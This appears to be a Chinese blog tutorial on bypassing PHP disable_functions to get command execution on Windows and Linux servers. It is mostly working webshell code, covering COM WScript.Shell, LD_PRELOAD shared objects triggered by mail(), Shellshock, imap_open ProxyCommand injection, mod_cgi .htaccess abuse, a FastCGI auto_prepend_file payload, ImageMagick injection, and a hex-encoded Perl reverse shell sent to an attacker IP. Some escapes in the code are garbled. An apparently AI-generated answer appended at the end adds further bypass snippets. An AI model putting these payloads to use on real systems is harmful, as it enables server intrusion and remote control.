php disable_function绕过

本文详细介绍了如何在PHP环境中绕过`disable_functions`限制,包括利用`eval`、`com_dotnet`组件、环境变量`LD_PRELOAD`、`Bash`漏洞、`imap`扩展、`pcntl`扩展、Apache的`mod_cgi`和`PHP-FPM`。同时,文章也提到了Windows下的`com`组件和`ImageMagick`拓展作为可能的绕过手段。此外,还探讨了防御这些攻击的方法,如禁用相关函数和扩展,以及加强环境安全。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

bypass disable_functions

disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
要进行添加的话在php.ini中添加即可,每个函数之间使用逗号隔开。

配置

打开php.ini,搜索disable_function,添加如下函数

eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

重启web服务,更改index.php,查看输出

<?php
eval(var_dump(1));
phpinfo();

在这里插入图片描述

发现成功执行了eval函数,但是disable_function中确实禁止了eval

在这里插入图片描述

因为eval是语言构造器,不是函数,放在disable_functions中是无法禁用的,如果想禁掉eval可以用php的扩展 Suhosin

基础绕过

危险函数

  • exec
  • shell_exec
  • system
  • passthru
  • popen
  • proc_open
  • pcntl_exec

Windows

com组件拓展

要求:

  • 开启COM组件(5.4自带其他版本自己添加)

    • com_dotnet

在这里插入图片描述

上传脚本

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

在这里插入图片描述

Linux

环境变量LD_preload

劫持sendmail中getuid

条件:

  • mail()函数和error_log()函数未被全部禁用

  • 函数所调用的sendmail命令已安装

    • centos默认安装的

在这里插入图片描述

  • ubantu则默认不安装

在这里插入图片描述

基本原理

通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令。

LD_PRELOAD是Linux系统的下一个有趣的环境变量:

“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。

so就像windows的dll,可以写入,也可以覆盖然后利用LD_preload来优先加载so动态链接库

sendmail函数在运行过程动态调用了很多标准库函数

 readelf -Ws /usr/sbin/sendmail

在这里插入图片描述

构造poc思路

  • 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 evil.so;
  • 运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 evil.so,以便后续启动新进程时优先加载该共享对象;
  • 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持;

1.编制我们自己的动态链接程序,代码如下(功能是执行mkdir test)执行编译为一个动态共享库的命令如下

gcc -shared -fPIC test.c -o test.so

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int geteuid() {
        const char* cmdline = getenv("EVIL_CMDLINE");
        if (getenv("LD_PRELOAD") == NULL) { return 0; }
        unsetenv("LD_PRELOAD");
        system(cmdline);
}

2.利用webshell,上传编译后的a.so到目标服务器
3.通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。利用代码如下

<?php
    echo "<p> <b>example</b>: http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

这里接受3个参数

  • 一是cmd参数,待执行的系统命令
  • 二是outpath参数,保存命令执行输出结果的文件路径,便于在页面上显示,另外该参数,你应注意web是否有读写权限、web是否可跨目录访问、文件将被覆盖和删除等几点
  • 三是sopath参数,指定劫持系统函数的共享对象的绝对路径。

这里通过putenv()函数将LD_PRELOAD环境变量设置为恶意的test.so

将自定义的EVIL_CMDLINE环境变量赋值为要执行的命令;

然后调用mail()函数触发sendmail(),再通过sendmail()触发getuid()从而使恶意的test.so被加载执行

最后再输出内容到页面上并删除临时存放命令执行结果的文件。

劫持启动进程

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行

攻击利用

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。所以用environ来进行 删除环境变量

接着用以下语句编译C文件为共享对象文件:

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so

bypass_disablefunc.php,代码和test.php一致:

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

在这里插入图片描述

Bash破壳(CVE-2014-6271)

前提条件

  • 目标OS存在Bash破壳(CVE-2014-6271)漏洞
    • 被攻击的bash存在漏洞(版本小于等于4.3)
    • 攻击者可以控制环境变量
    • 新的bash进程被打开触发漏洞并执行命令
  • 该漏洞存在于bash 1.14 - 4.3版本中,受影响的Linux系统包括:Red Hat企业Linux (versions 4 ~7) 、Fedora distribution、CentOS (versions 5 ~7)、Ubuntu 10.04 LTS,12.04 LTS和14.04 LTS、Debian等
  • 以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令

验证

env x='() { :;}; echo vulnerable' bash –c "echo This is a test"
  1. POC中定义变量x为() { :;}; echo vulnerable,它会变成函数,于bash中的函数定义有关。
  2. bash解析函数后,会继续执行后面的代码,原因在于parse_and_execute函数。

若存在漏洞,将会回显:

 vulnerable
 This is a test

poc

<?php 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

php能够通过putenv设置环境变量,同时mail函数存在第五个参数时会执行popen()

如果系统默认sh是bash,popen()会派生bash进程,这种函数不仅仅mail,还有imap_mail等

imap拓展

也没成功

前提:

  • 安装PHP的imap扩展
  • 在php.ini中开启imap.enable_insecure_rsh选项为On

在这里插入图片描述

基本原理
简单地说,就是imap_open()函数会调用到rsh的程序,而该程序中会调用execve系统调用来实现rsh的调用,其中的邮件地址参数是由imap_open()函数的mailbox参数传入,同时,由于rsh命令是ssh命令的符号链接,所以当我们利用ssh的-oProxyCommand参数来构造恶意mailbox参数时就能执行恶意命令。

imap_open()

Poc

先判断是否存在imap_open()函数,然后构造exp执行通过外部GET输入的命令然后保存结果到本地文件中,最后输出结果文件内容,注意sleep(5)是为了等imap_open()函数执行完、因为该函数执行时需要DNS轮询会存在延时:

<?php
error_reporting(0);
if (!function_exists('imap_open')) {
        die("no imap_open function!");
}
$server = "x -oProxyCommand=echo$IFS$()" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64$IFS$()-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '')or die("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

pcntl拓展

前提是PHP安装并启用了pcntl插件。

ubuntu18 apt安装的php默认没有这个拓展,需要手动下载编译前提条件

ubuntu编译可以参考

https://www.cnblogs.com/mangyusisha/p/5867370.html

在这里插入图片描述

基本原理

原理比较简单,就是利用pcntl_exec()这个pcntl插件专有的命令执行函数来执行系统命令,从而Bypass黑名单。

Bypass 反弹shell
<?php
$ip = 'xx.xx.xx.xx';
$port = '7000';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>

tips:网页请求时无法正常运作是正常的

在这里插入图片描述

防御方法

disable_functions的黑名单中添加pcntl相关函数实现禁用

内存漏洞

https://github.com/mm0r1/exploits

原理:

  • 各种内存漏洞,pwn大佬

适用

  • php7以上

在这里插入图片描述

Apache mod Cgi

前提
  • Linux 操作系统
  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgirewrite
  • Web 目录给了 AllowOverride 权限
  • 当前目录可写
原理

Apache 在配置开启 CGI 后可以用 ScriptAlias 指令指定一个目录,指定的目录下面便可以存放可执行的 CGI 程序。若是想临时允许一个目录可以执行 CGI 程序并且使得服务器将自定义的后缀解析为 CGI 程序执行,则可以在目的目录下使用 htaccess 文件进行配置,如下:

Options +ExecCGI AddHandler cgi-script .xxx 

这样便会将当前目录下的所有的 .xxx 文件当做 CGI 程序执行了。由于 CGI 程序可以执行命令,那我们可以利用 CGI 来执行系统命令绕过 disable_functions。

这里环境比较复杂,所以用蚁剑的labs来快速搭建

git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd bypass_disable_functions/3
docker-compose up -d

访问

http://192.168.159.132:18080/

直接连接无法执行

在这里插入图片描述

并且发现目标主机Apache开启了CGI,Web目录下有写入的权限。

在这里插入图片描述

我们首先在当前目录创建 .htaccess 文件,写入如下:

Options +ExecCGI
AddHandler cgi-script .ant

在这里插入图片描述

然后新建 shell.ant 文件,写入要执行的命令:

#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id

在这里插入图片描述

访问shell.ant

在这里插入图片描述

一条龙poc

<?php
$cmd = "ls /"; //command to be executed
$shellfile = "#!/bin/bashn"; //using a shellscript
$shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
    }
}
?>

shell.dizzle文件,命令为$cmd

PHP-fpm

使用条件:

  • 目标使用了php-fpm模块

  • php-fpm的进程端口暴露在外网(一般为9000端口)

  • 知道一个php脚本的绝对路径和名称

PHP-FPM

FPM就是Fastcgi的协议解析器,Web服务器使用CGI协议封装好用户的请求发送给谁呢? 其实就是发送给FPM。FPM按照CGI的协议将TCP流解析成真正的数据。

由于FPM默认监听的是9000端口,我们就可以绕过Web服务器,直接构造Fastcgi协议,和fpm进行通信。于是就有了利用 Webshell 直接与 FPM 通信 来绕过 disable functions 的姿势。

因为前面我们了解了协议原理和内容,接下来就是使用CGI协议封装请求,通过Socket来直接与FPM通信。

第一个限制

既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行PHP文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的PHP文件,好在一般进行源安装PHP的时候,服务器都会附带上一些PHP文件,如果说我们没有收集到目标Web目录的信息的话,可以试试这种办法.

第二个限制

即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。那要如何绕过这种限制呢?我们可以从php.ini入手。它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_fileauto_append_fileauto_prepend_file的功能是在执行目标文件之前,先包含它指定的文件。那么就有趣了,假设我们设置auto_prepend_filephp://input,那么就等于在执行任何PHP文件前都要包含一遍POST过去的内容。所以,我们只需要把待执行的代码放在POST Body中进行远程文件包含,这样就能做到任意代码执行了。

第三个限制

我们虽然可以通过远程文件包含执行任意代码,但是远程文件包含是有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎么设置呢? 这里,PHP-FPM有两个可以设置PHP配置项的KEY-VALUE,即PHP_VALUEPHP_ADMIN_VALUEPHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项(disable_functions 选项除外),这样就解决问题了。

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/name.php',
    'SCRIPT_NAME': '/name.php',
    'QUERY_STRING': '?name=alex',
    'REQUEST_URI': '/name.php?name=alex',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '6666',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

简单来说就是跳过中间件分配请求的过程,直接构造特定的数据包与php-fpm模块通信

通用

ImageMagick拓展

没复现成功

条件

  • imagic(<= 3.3.0)

  • 又因为imagic与php版本对应,所以

    version<=php5.6

在这里插入图片描述

windows下载

https://windows.php.net/downloads/pecl/releases/imagick/

要点: 注意对应php版本 ts还是nts x86还是x64
这里以phpinfo()为准

添加拓展

  1. 解压上述文件后,将php_imagick.dll复制到php/ext目录
  2. 修改php.ini 加上extension=php_imagick.dll

编辑php.ini文件,使其加载

extension=imagick.so

​ 3.将其他dll放到php根目录

在这里插入图片描述

安装ImageMagick

在根据phpinfo中的信息去下

ImageMagick 6.9.1-2 Q16 x64

完全找不到- -,下载完成后重启计算机

利用脚本

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'whoami';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

找不到对应旧版本的ImageMagick,没复现成功

总结

简单做了下分类,说下结论

  1. Windows下 bypass手段有限,只能期望com拓展以及imagic拓展开启
    • 且imagic拓展版本要求严格
  2. Linux下php高版本(7+)直接用内存漏洞通杀即可,所以其他高版本bypass手法我没有细看
    • 低版本的话也不怕手段非常多
    • 首先检查拓展如:pcntl,imap 或者模块apache2handler和fpm
    • 再不行的话利用环境变量,最后再尝试Bash破壳
<think>嗯,用户想绕过Windows上PHPdisable_functions限制。首先,我得回忆一下disable_functions的作用,它通过php.ini禁用危险函数,比如exec、system等[^1]。用户可能已经拿到一个shell,但执行命令的函数被禁用了,所以需要找绕过方法。 首先想到的是利用PHP的扩展特性。比如,如果服务器加载了FFI扩展,可以用它调用C函数,直接执行系统命令。不过FFI在PHP 7.4+才有,而且默认不启用,得看环境是否支持[^2]。 然后,LD_PRELOAD方法在Linux常见,但Windows不支持。不过Windows可能有类似机制,比如DLL注入。但PHP在Windows下通常用DLL,可能需要编写自定义扩展来加载恶意代码。不过这可能比较复杂,需要管理员权限,不太实际。 接着,COM组件是个方向。Windows的COM组件可以通过PHP的COM类来操作,比如执行WScript.Shell的Run方法。这需要php_com_dotnet扩展启用,而且COM权限允许,但某些环境下可能可行[^3]。 还可以考虑利用环境变量或第三方组件。比如,如果系统安装了Python或其他脚本工具,通过PHP调用这些外部程序来执行命令。例如用proc_open或popen,如果这些函数没被禁用的话。但用户可能已经禁用了这些,所以得找未禁用的函数。 另外,.htaccess文件可能被用来覆盖PHP设置,但Windows通常用IIS,可能不适用。不过如果服务器是Apache,用户有权限修改.htaccess的话,可能可以开启某些扩展或设置。不过这在共享主机上可能性低。 还有imap_open漏洞,如果启用了imap扩展,可以利用其执行命令,但需要服务器未打补丁。不过这在Windows上的利用方式可能不同,需要具体测试。 还有通过PHP的插件或第三方库,比如ImageMagick的漏洞,但需要特定条件。 总结下来,可能的Windows绕过方法包括:使用COM组件、FFI扩展、第三方程序调用、或者寻找未过滤的类或函数。需要检查phpinfo()的信息,看哪些扩展可用,哪些函数未被禁用。例如,如果COM可用,可以尝试用new COM('WScript.Shell')执行命令。此外,利用PHP的反射类或SplFileObject等未禁用类进行文件操作,再配合其他手段执行代码。</think>在Windows环境下绕过PHPdisable_functions限制,可以通过以下方法实现: ### 一、利用COM组件(需启用php_com_dotnet扩展) ```php $shell = new COM("WScript.Shell"); $exec = $shell->Run("cmd /c whoami", 0, false); echo "<pre>$exec</pre>"; ``` 此方法依赖COM组件支持,需要确保php.ini中`extension=php_com_dotnet.dll`已启用。 ### 二、FFI扩展调用系统API(PHP 7.4+) ```php $ffi = FFI::cdef("int system(char *command);", "msvcrt.dll"); $ffi->system("whoami > C:\\output.txt"); ``` 需启用`ffi.enable=On`配置,且PHP版本≥7.4[^4]。 ### 三、利用第三方程序管道通信 ```php $descriptors = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"] ]; $process = proc_open('powershell -Command "$output = whoami; echo $output"', $descriptors, $pipes); echo stream_get_contents($pipes[1]); ``` 要求`proc_open`等进程控制函数未被禁用[^3]。 ### 四、利用Windows Script Host ```php $wsh = new COM('WScript.Shell'); $exec = $wsh->Exec('cmd /c whoami'); echo $exec->StdOut->ReadAll(); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值